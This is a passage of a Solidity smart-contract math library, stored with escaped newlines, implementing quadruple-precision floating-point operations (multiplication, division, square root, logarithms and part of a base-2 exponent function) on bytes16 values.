NaN.\\n *\\n * @param x quadruple precision number\\n * @param y quadruple precision number\\n * @return quadruple precision number\\n */\\n function sub(bytes16 x, bytes16 y) internal pure returns (bytes16) {\\n unchecked {return add(x, y ^ 0x80000000000000000000000000000000);}\\n }\\n\\n /**\\n * Calculate x * y. Special values behave in the following way:\\n *\\n * NaN * x = NaN for any x.\\n * Infinity * x = Infinity for any finite positive x.\\n * Infinity * x = -Infinity for any finite negative x.\\n * -Infinity * x = -Infinity for any finite positive x.\\n * -Infinity * x = Infinity for any finite negative x.\\n * Infinity * 0 = NaN.\\n * -Infinity * 0 = NaN.\\n * Infinity * Infinity = Infinity.\\n * Infinity * -Infinity = -Infinity.\\n * -Infinity * Infinity = -Infinity.\\n * -Infinity * -Infinity = Infinity.\\n *\\n * @param x quadruple precision number\\n * @param y quadruple precision number\\n * @return quadruple precision number\\n */\\n function mul(bytes16 x, bytes16 y) internal pure returns (bytes16) {\\n unchecked {\\n uint256 xExponent = (uint128(x) >> 112) & 0x7FFF;\\n uint256 yExponent = (uint128(y) >> 112) & 0x7FFF;\\n\\n if (xExponent == 0x7FFF) {\\n if (yExponent == 0x7FFF) {\\n if (x == y)\\n return x ^ (y & 0x80000000000000000000000000000000);\\n else if (x ^ y == 0x80000000000000000000000000000000)\\n return x | y;\\n else return NaN;\\n } else {\\n if (y & 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF == 0) return NaN;\\n else return x ^ (y & 0x80000000000000000000000000000000);\\n }\\n } else if (yExponent == 0x7FFF) {\\n if (x & 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF == 0) return NaN;\\n else return y ^ (x & 0x80000000000000000000000000000000);\\n } else {\\n uint256 xSignifier =\\n uint128(x) & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\\n if (xExponent == 0) xExponent = 1;\\n else xSignifier |= 0x10000000000000000000000000000;\\n\\n uint256 ySignifier =\\n uint128(y) & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\\n if (yExponent == 0) yExponent = 1;\\n else ySignifier |= 0x10000000000000000000000000000;\\n\\n xSignifier *= ySignifier;\\n if (xSignifier == 0)\\n return\\n (x ^ y) & 0x80000000000000000000000000000000 > 0\\n ? _NEGATIVE_ZERO\\n : _POSITIVE_ZERO;\\n\\n xExponent += yExponent;\\n\\n uint256 msb =\\n xSignifier >=\\n 0x200000000000000000000000000000000000000000000000000000000\\n ? 225\\n : xSignifier >=\\n 0x100000000000000000000000000000000000000000000000000000000\\n ? 224\\n : mostSignificantBit(xSignifier);\\n\\n if (xExponent + msb < 16496) {\\n // Underflow\\n xExponent = 0;\\n xSignifier = 0;\\n } else if (xExponent + msb < 16608) {\\n // Subnormal\\n if (xExponent < 16496) xSignifier >>= 16496 - xExponent;\\n else if (xExponent > 16496)\\n xSignifier <<= xExponent - 16496;\\n xExponent = 0;\\n } else if (xExponent + msb > 49373) {\\n xExponent = 0x7FFF;\\n xSignifier = 0;\\n } else {\\n if (msb > 112) xSignifier >>= msb - 112;\\n else if (msb < 112) xSignifier <<= 112 - msb;\\n\\n xSignifier &= 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\\n\\n xExponent = xExponent + msb - 16607;\\n }\\n\\n return\\n bytes16(\\n uint128(\\n uint128(\\n (x ^ y) & 0x80000000000000000000000000000000\\n ) |\\n (xExponent << 112) |\\n xSignifier\\n )\\n );\\n }\\n }\\n }\\n\\n /**\\n * Calculate x / y. Special values behave in the following way:\\n *\\n * NaN / x = NaN for any x.\\n * x / NaN = NaN for any x.\\n * Infinity / x = Infinity for any finite non-negative x.\\n * Infinity / x = -Infinity for any finite negative x including -0.\\n * -Infinity / x = -Infinity for any finite non-negative x.\\n * -Infinity / x = Infinity for any finite negative x including -0.\\n * x / Infinity = 0 for any finite non-negative x.\\n * x / -Infinity = -0 for any finite non-negative x.\\n * x / Infinity = -0 for any finite non-negative x including -0.\\n * x / -Infinity = 0 for any finite non-negative x including -0.\\n *\\n * Infinity / Infinity = NaN.\\n * Infinity / -Infinity = -NaN.\\n * -Infinity / Infinity = -NaN.\\n * -Infinity / -Infinity = NaN.\\n *\\n * Division by zero behaves in the following way:\\n *\\n * x / 0 = Infinity for any finite positive x.\\n * x / -0 = -Infinity for any finite positive x.\\n * x / 0 = -Infinity for any finite negative x.\\n * x / -0 = Infinity for any finite negative x.\\n * 0 / 0 = NaN.\\n * 0 / -0 = NaN.\\n * -0 / 0 = NaN.\\n * -0 / -0 = NaN.\\n *\\n * @param x quadruple precision number\\n * @param y quadruple precision number\\n * @return quadruple precision number\\n */\\n function div(bytes16 x, bytes16 y) internal pure returns (bytes16) {\\n unchecked {\\n uint256 xExponent = (uint128(x) >> 112) & 0x7FFF;\\n uint256 yExponent = (uint128(y) >> 112) & 0x7FFF;\\n\\n if (xExponent == 0x7FFF) {\\n if (yExponent == 0x7FFF) return NaN;\\n else return x ^ (y & 0x80000000000000000000000000000000);\\n } else if (yExponent == 0x7FFF) {\\n if (y & 0x0000FFFFFFFFFFFFFFFFFFFFFFFFFFFF != 0) return NaN;\\n else\\n return\\n _POSITIVE_ZERO |\\n ((x ^ y) & 0x80000000000000000000000000000000);\\n } else if (y & 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF == 0) {\\n if (x & 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF == 0) return NaN;\\n else\\n return\\n _POSITIVE_INFINITY |\\n ((x ^ y) & 0x80000000000000000000000000000000);\\n } else {\\n uint256 ySignifier =\\n uint128(y) & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\\n if (yExponent == 0) yExponent = 1;\\n else ySignifier |= 0x10000000000000000000000000000;\\n\\n uint256 xSignifier =\\n uint128(x) & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\\n if (xExponent == 0) {\\n if (xSignifier != 0) {\\n uint256 shift = 226 - mostSignificantBit(xSignifier);\\n\\n xSignifier <<= shift;\\n\\n xExponent = 1;\\n yExponent += shift - 114;\\n }\\n } else {\\n xSignifier =\\n (xSignifier | 0x10000000000000000000000000000) <<\\n 114;\\n }\\n\\n xSignifier = xSignifier / ySignifier;\\n if (xSignifier == 0)\\n return\\n (x ^ y) & 0x80000000000000000000000000000000 > 0\\n ? _NEGATIVE_ZERO\\n : _POSITIVE_ZERO;\\n\\n assert(xSignifier >= 0x1000000000000000000000000000);\\n\\n uint256 msb =\\n xSignifier >= 0x80000000000000000000000000000\\n ? mostSignificantBit(xSignifier)\\n : xSignifier >= 0x40000000000000000000000000000\\n ? 114\\n : xSignifier >= 0x20000000000000000000000000000\\n ? 113\\n : 112;\\n\\n if (xExponent + msb > yExponent + 16497) {\\n // Overflow\\n xExponent = 0x7FFF;\\n xSignifier = 0;\\n } else if (xExponent + msb + 16380 < yExponent) {\\n // Underflow\\n xExponent = 0;\\n xSignifier = 0;\\n } else if (xExponent + msb + 16268 < yExponent) {\\n // Subnormal\\n if (xExponent + 16380 > yExponent)\\n xSignifier <<= xExponent + 16380 - yExponent;\\n else if (xExponent + 16380 < yExponent)\\n xSignifier >>= yExponent - xExponent - 16380;\\n\\n xExponent = 0;\\n } else {\\n // Normal\\n if (msb > 112) xSignifier >>= msb - 112;\\n\\n xSignifier &= 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\\n\\n xExponent = xExponent + msb + 16269 - yExponent;\\n }\\n\\n return\\n bytes16(\\n uint128(\\n uint128(\\n (x ^ y) & 0x80000000000000000000000000000000\\n ) |\\n (xExponent << 112) |\\n xSignifier\\n )\\n );\\n }\\n }\\n }\\n\\n /**\\n * Calculate -x.\\n *\\n * @param x quadruple precision number\\n * @return quadruple precision number\\n */\\n function neg(bytes16 x) internal pure returns (bytes16) {\\n unchecked {return x ^ 0x80000000000000000000000000000000;}\\n }\\n\\n /**\\n * Calculate |x|.\\n *\\n * @param x quadruple precision number\\n * @return quadruple precision number\\n */\\n function abs(bytes16 x) internal pure returns (bytes16) {\\n unchecked {return x & 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF;}\\n }\\n\\n /**\\n * Calculate square root of x. Return NaN on negative x excluding -0.\\n *\\n * @param x quadruple precision number\\n * @return quadruple precision number\\n */\\n function sqrt(bytes16 x) internal pure returns (bytes16) {\\n unchecked {\\n if (uint128(x) > 0x80000000000000000000000000000000) return NaN;\\n else {\\n uint256 xExponent = (uint128(x) >> 112) & 0x7FFF;\\n if (xExponent == 0x7FFF) return x;\\n else {\\n uint256 xSignifier =\\n uint128(x) & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\\n if (xExponent == 0) xExponent = 1;\\n else xSignifier |= 0x10000000000000000000000000000;\\n\\n if (xSignifier == 0) return _POSITIVE_ZERO;\\n\\n bool oddExponent = xExponent & 0x1 == 0;\\n xExponent = (xExponent + 16383) >> 1;\\n\\n if (oddExponent) {\\n if (xSignifier >= 0x10000000000000000000000000000)\\n xSignifier <<= 113;\\n else {\\n uint256 msb = mostSignificantBit(xSignifier);\\n uint256 shift = (226 - msb) & 0xFE;\\n xSignifier <<= shift;\\n xExponent -= (shift - 112) >> 1;\\n }\\n } else {\\n if (xSignifier >= 0x10000000000000000000000000000)\\n xSignifier <<= 112;\\n else {\\n uint256 msb = mostSignificantBit(xSignifier);\\n uint256 shift = (225 - msb) & 0xFE;\\n xSignifier <<= shift;\\n xExponent -= (shift - 112) >> 1;\\n }\\n }\\n\\n uint256 r = 0x10000000000000000000000000000;\\n r = (r + xSignifier / r) >> 1;\\n r = (r + xSignifier / r) >> 1;\\n r = (r + xSignifier / r) >> 1;\\n r = (r + xSignifier / r) >> 1;\\n r = (r + xSignifier / r) >> 1;\\n r = (r + xSignifier / r) >> 1;\\n r = (r + xSignifier / r) >> 1; // Seven iterations should be enough\\n uint256 r1 = xSignifier / r;\\n if (r1 < r) r = r1;\\n\\n return\\n bytes16(\\n uint128(\\n (xExponent << 112) |\\n (r & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF)\\n )\\n );\\n }\\n }\\n }\\n }\\n\\n /**\\n * Calculate binary logarithm of x. Return NaN on negative x excluding -0.\\n *\\n * @param x quadruple precision number\\n * @return quadruple precision number\\n */\\n function log_2(bytes16 x) internal pure returns (bytes16) {\\n unchecked {\\n if (uint128(x) > 0x80000000000000000000000000000000) return NaN;\\n else if (x == 0x3FFF0000000000000000000000000000)\\n return _POSITIVE_ZERO;\\n else {\\n uint256 xExponent = (uint128(x) >> 112) & 0x7FFF;\\n if (xExponent == 0x7FFF) return x;\\n else {\\n uint256 xSignifier =\\n uint128(x) & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\\n if (xExponent == 0) xExponent = 1;\\n else xSignifier |= 0x10000000000000000000000000000;\\n\\n if (xSignifier == 0) return _NEGATIVE_INFINITY;\\n\\n bool resultNegative;\\n uint256 resultExponent = 16495;\\n uint256 resultSignifier;\\n\\n if (xExponent >= 0x3FFF) {\\n resultNegative = false;\\n resultSignifier = xExponent - 0x3FFF;\\n xSignifier <<= 15;\\n } else {\\n resultNegative = true;\\n if (xSignifier >= 0x10000000000000000000000000000) {\\n resultSignifier = 0x3FFE - xExponent;\\n xSignifier <<= 15;\\n } else {\\n uint256 msb = mostSignificantBit(xSignifier);\\n resultSignifier = 16493 - msb;\\n xSignifier <<= 127 - msb;\\n }\\n }\\n\\n if (xSignifier == 0x80000000000000000000000000000000) {\\n if (resultNegative) resultSignifier += 1;\\n uint256 shift =\\n 112 - mostSignificantBit(resultSignifier);\\n resultSignifier <<= shift;\\n resultExponent -= shift;\\n } else {\\n uint256 bb = resultNegative ? 1 : 0;\\n while (\\n resultSignifier < 0x10000000000000000000000000000\\n ) {\\n resultSignifier <<= 1;\\n resultExponent -= 1;\\n\\n xSignifier *= xSignifier;\\n uint256 b = xSignifier >> 255;\\n resultSignifier += b ^ bb;\\n xSignifier >>= 127 + b;\\n }\\n }\\n\\n return\\n bytes16(\\n uint128(\\n (\\n resultNegative\\n ? 0x80000000000000000000000000000000\\n : 0\\n ) |\\n (resultExponent << 112) |\\n (resultSignifier &\\n 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF)\\n )\\n );\\n }\\n }\\n }\\n }\\n\\n /**\\n * Calculate natural logarithm of x. Return NaN on negative x excluding -0.\\n *\\n * @param x quadruple precision number\\n * @return quadruple precision number\\n */\\n function ln(bytes16 x) internal pure returns (bytes16) {\\n unchecked {return mul(log_2(x), 0x3FFE62E42FEFA39EF35793C7673007E5);}\\n }\\n\\n /**\\n * Calculate 2^x.\\n *\\n * @param x quadruple precision number\\n * @return quadruple precision number\\n */\\n function pow_2(bytes16 x) internal pure returns (bytes16) {\\n unchecked {\\n bool xNegative = uint128(x) > 0x80000000000000000000000000000000;\\n uint256 xExponent = (uint128(x) >> 112) & 0x7FFF;\\n uint256 xSignifier = uint128(x) & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\\n\\n if (xExponent == 0x7FFF && xSignifier != 0) return NaN;\\n else if (xExponent > 16397)\\n return xNegative ? _POSITIVE_ZERO : _POSITIVE_INFINITY;\\n else if (xExponent < 16255)\\n return 0x3FFF0000000000000000000000000000;\\n else {\\n if (xExponent == 0) xExponent = 1;\\n else xSignifier |= 0x10000000000000000000000000000;\\n\\n if (xExponent > 16367) xSignifier <<= xExponent - 16367;\\n else if (xExponent < 16367) xSignifier >>= 16367 - xExponent;\\n\\n if (\\n xNegative &&\\n xSignifier > 0x406E00000000000000000000000000000000\\n ) return _POSITIVE_ZERO;\\n\\n if (\\n !xNegative &&\\n xSignifier > 0x3FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\\n ) return _POSITIVE_INFINITY;\\n\\n uint256 resultExponent = xSignifier >> 128;\\n xSignifier &= 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF;\\n if (xNegative && xSignifier != 0) {\\n xSignifier = ~xSignifier;\\n resultExponent += 1;\\n }\\n\\n uint256 resultSignifier = 0x80000000000000000000000000000000;\\n if (xSignifier & 0x80000000000000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x16A09E667F3BCC908B2FB1366EA957D3E) >>\\n 128;\\n if (xSignifier & 0x40000000000000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1306FE0A31B7152DE8D5A46305C85EDEC) >>\\n 128;\\n if (xSignifier & 0x20000000000000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1172B83C7D517ADCDF7C8C50EB14A791F) >>\\n 128;\\n if (xSignifier & 0x10000000000000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10B5586CF9890F6298B92B71842A98363) >>\\n 128;\\n if (xSignifier & 0x8000000000000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1059B0D31585743AE7C548EB68CA417FD) >>\\n 128;\\n if (xSignifier & 0x4000000000000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x102C9A3E778060EE6F7CACA4F7A29BDE8) >>\\n 128;\\n if (xSignifier & 0x2000000000000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10163DA9FB33356D84A66AE336DCDFA3F) >>\\n 128;\\n if (xSignifier & 0x1000000000000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100B1AFA5ABCBED6129AB13EC11DC9543) >>\\n 128;\\n if (xSignifier & 0x800000000000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10058C86DA1C09EA1FF19D294CF2F679B) >>\\n 128;\\n if (xSignifier & 0x400000000000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1002C605E2E8CEC506D21BFC89A23A00F) >>\\n 128;\\n if (xSignifier & 0x200000000000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100162F3904051FA128BCA9C55C31E5DF) >>\\n 128;\\n if (xSignifier & 0x100000000000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000B175EFFDC76BA38E31671CA939725) >>\\n 128;\\n if (xSignifier & 0x80000000000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100058BA01FB9F96D6CACD4B180917C3D) >>\\n 128;\\n if (xSignifier & 0x40000000000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10002C5CC37DA9491D0985C348C68E7B3) >>\\n 128;\\n if (xSignifier & 0x20000000000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000162E525EE054754457D5995292026) >>\\n 128;\\n if (xSignifier & 0x10000000000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000B17255775C040618BF4A4ADE83FC) >>\\n 128;\\n if (xSignifier & 0x8000000000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000058B91B5BC9AE2EED81E9B7D4CFAB) >>\\n 128;\\n if (xSignifier & 0x4000000000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100002C5C89D5EC6CA4D7C8ACC017B7C9) >>\\n 128;\\n if (xSignifier & 0x2000000000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000162E43F4F831060E02D839A9D16D) >>\\n 128;\\n if (xSignifier & 0x1000000000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000B1721BCFC99D9F890EA06911763) >>\\n 128;\\n if (xSignifier & 0x800000000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000058B90CF1E6D97F9CA14DBCC1628) >>\\n 128;\\n if (xSignifier & 0x400000000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000002C5C863B73F016468F6BAC5CA2B) >>\\n 128;\\n if (xSignifier & 0x200000000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000162E430E5A18F6119E3C02282A5) >>\\n 128;\\n if (xSignifier & 0x100000000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000000B1721835514B86E6D96EFD1BFE) >>\\n 128;\\n if (xSignifier & 0x80000000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000058B90C0B48C6BE5DF846C5B2EF) >>\\n 128;\\n if (xSignifier & 0x40000000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000002C5C8601CC6B9E94213C72737A) >>\\n 128;\\n if (xSignifier & 0x20000000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000000162E42FFF037DF38AA2B219F06) >>\\n 128;\\n if (xSignifier & 0x10000000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000000B17217FBA9C739AA5819F44F9) >>\\n 128;\\n if (xSignifier & 0x8000000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000000058B90BFCDEE5ACD3C1CEDC823) >>\\n 128;\\n if (xSignifier & 0x4000000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000002C5C85FE31F35A6A30DA1BE50) >>\\n 128;\\n if (xSignifier & 0x2000000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000000162E42FF0999CE3541B9FFFCF) >>\\n 128;\\n if (xSignifier & 0x1000000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000000B17217F80F4EF5AADDA45554) >>\\n 128;\\n if (xSignifier & 0x800000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000000058B90BFBF8479BD5A81B51AD) >>\\n 128;\\n if (xSignifier & 0x400000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000000002C5C85FDF84BD62AE30A74CC) >>\\n 128;\\n if (xSignifier & 0x200000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000000162E42FEFB2FED257559BDAA) >>\\n 128;\\n if (xSignifier & 0x100000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000000000B17217F7D5A7716BBA4A9AE) >>\\n 128;\\n if (xSignifier & 0x80000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000000058B90BFBE9DDBAC5E109CCE) >>\\n 128;\\n if (xSignifier & 0x40000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000000002C5C85FDF4B15DE6F17EB0D) >>\\n 128;\\n if (xSignifier & 0x20000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000000000162E42FEFA494F1478FDE05) >>\\n 128;\\n if (xSignifier & 0x10000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000000000B17217F7D20CF927C8E94C) >>\\n 128;\\n if (xSignifier & 0x8000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000000000058B90BFBE8F71CB4E4B33D) >>\\n 128;\\n if (xSignifier & 0x4000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000000002C5C85FDF477B662B26945) >>\\n 128;\\n if (xSignifier & 0x2000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000000000162E42FEFA3AE53369388C) >>\\n 128;\\n if (xSignifier & 0x1000000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000000000B17217F7D1D351A389D40) >>\\n 128;\\n if (xSignifier & 0x800000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000000000058B90BFBE8E8B2D3D4EDE) >>\\n 128;\\n if (xSignifier & 0x400000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000000000002C5C85FDF4741BEA6E77E) >>\\n 128;\\n if (xSignifier & 0x200000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000000000162E42FEFA39FE95583C2) >>\\n 128;\\n if (xSignifier & 0x100000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000000000000B17217F7D1CFB72B45E1) >>\\n 128;\\n if (xSignifier & 0x80000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000000000058B90BFBE8E7CC35C3F0) >>\\n 128;\\n if (xSignifier & 0x40000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000000000002C5C85FDF473E242EA38) >>\\n 128;\\n if (xSignifier & 0x20000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000000000000162E42FEFA39F02B772C) >>\\n 128;\\n if (xSignifier & 0x10000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000000000000B17217F7D1CF7D83C1A) >>\\n 128;\\n if (xSignifier & 0x8000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000000000000058B90BFBE8E7BDCBE2E) >>\\n 128;\\n if (xSignifier & 0x4000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000000000002C5C85FDF473DEA871F) >>\\n 128;\\n if (xSignifier & 0x2000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000000000000162E42FEFA39EF44D91) >>\\n 128;\\n if (xSignifier & 0x1000000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000000000000B17217F7D1CF79E949) >>\\n 128;\\n if (xSignifier & 0x800000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000000000000058B90BFBE8E7BCE544) >>\\n 128;\\n if (xSignifier & 0x400000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000000000000002C5C85FDF473DE6ECA) >>\\n 128;\\n if (xSignifier & 0x200000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000000000000162E42FEFA39EF366F) >>\\n 128;\\n if (xSignifier & 0x100000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000000000000000B17217F7D1CF79AFA) >>\\n 128;\\n if (xSignifier & 0x80000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000000000000058B90BFBE8E7BCD6D) >>\\n 128;\\n if (xSignifier & 0x40000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000000000000002C5C85FDF473DE6B2) >>\\n 128;\\n if (xSignifier & 0x20000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000000000000000162E42FEFA39EF358) >>\\n 128;\\n if (xSignifier & 0x10000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000000000000000B17217F7D1CF79AB) >>\\n 128;\\n if (xSignifier & 0x8000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000000000000000058B90BFBE8E7BCD5) >>\\n 128;\\n if (xSignifier & 0x4000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000000000000002C5C85FDF473DE6A) >>\\n 128;\\n if (xSignifier & 0x2000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000000000000000162E42FEFA39EF34) >>\\n 128;\\n if (xSignifier & 0x1000000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000000000000000B17217F7D1CF799) >>\\n 128;\\n if (xSignifier & 0x800000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000000000000000058B90BFBE8E7BCC) >>\\n 128;\\n if (xSignifier & 0x400000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000000000000000002C5C85FDF473DE5) >>\\n 128;\\n if (xSignifier & 0x200000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000000000000000162E42FEFA39EF2) >>\\n 128;\\n if (xSignifier & 0x100000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000000000000000000B17217F7D1CF78) >>\\n 128;\\n if (xSignifier & 0x80000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000000000000000058B90BFBE8E7BB) >>\\n 128;\\n if (xSignifier & 0x40000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000000000000000002C5C85FDF473DD) >>\\n 128;\\n if (xSignifier & 0x20000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000000000000000000162E42FEFA39EE) >>\\n 128;\\n if (xSignifier & 0x10000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000000000000000000B17217F7D1CF6) >>\\n 128;\\n if (xSignifier & 0x8000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000000000000000000058B90BFBE8E7A) >>\\n 128;\\n if (xSignifier & 0x4000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000000000000000002C5C85FDF473C) >>\\n 128;\\n if (xSignifier & 0x2000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000000000000000000162E42FEFA39D) >>\\n 128;\\n if (xSignifier & 0x1000000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000000000000000000B17217F7D1CE) >>\\n 128;\\n if (xSignifier & 0x800000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000000000000000000058B90BFBE8E6) >>\\n 128;\\n if (xSignifier & 0x400000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000000000000000000002C5C85FDF472) >>\\n 128;\\n if (xSignifier & 0x200000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000000000000000000162E42FEFA38) >>\\n 128;\\n if (xSignifier & 0x100000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000000000000000000000B17217F7D1B) >>\\n 128;\\n if (xSignifier & 0x80000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000000000000000000058B90BFBE8D) >>\\n 128;\\n if (xSignifier & 0x40000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000000000000000000002C5C85FDF46) >>\\n 128;\\n if (xSignifier & 0x20000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000000000000000000000162E42FEFA2) >>\\n 128;\\n if (xSignifier & 0x10000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000000000000000000000B17217F7D0) >>\\n 128;\\n if (xSignifier & 0x8000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000000000000000000000058B90BFBE7) >>\\n 128;\\n if (xSignifier & 0x4000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000000000000000000002C5C85FDF3) >>\\n 128;\\n if (xSignifier & 0x2000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000000000000000000000162E42FEF9) >>\\n 128;\\n if (xSignifier & 0x1000000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000000000000000000000B17217F7C) >>\\n 128;\\n if (xSignifier & 0x800000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x10000000000000000000000058B90BFBD) >>\\n 128;\\n if (xSignifier & 0x400000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000000000000000000000002C5C85FDE) >>\\n 128;\\n if (xSignifier & 0x200000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000000000000000000000162E42FEE) >>\\n 128;\\n if (xSignifier & 0x100000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x1000000000000000000000000B17217F6) >>\\n 128;\\n if (xSignifier & 0x80000000 > 0)\\n resultSignifier =\\n (resultSignifier *\\n 0x100000000000000000000000058B90BFA) >>\\n 128;\\n if (xSignifier & 0x40000000 > 0)\\n resultSignifier =\\n (resultSignifier 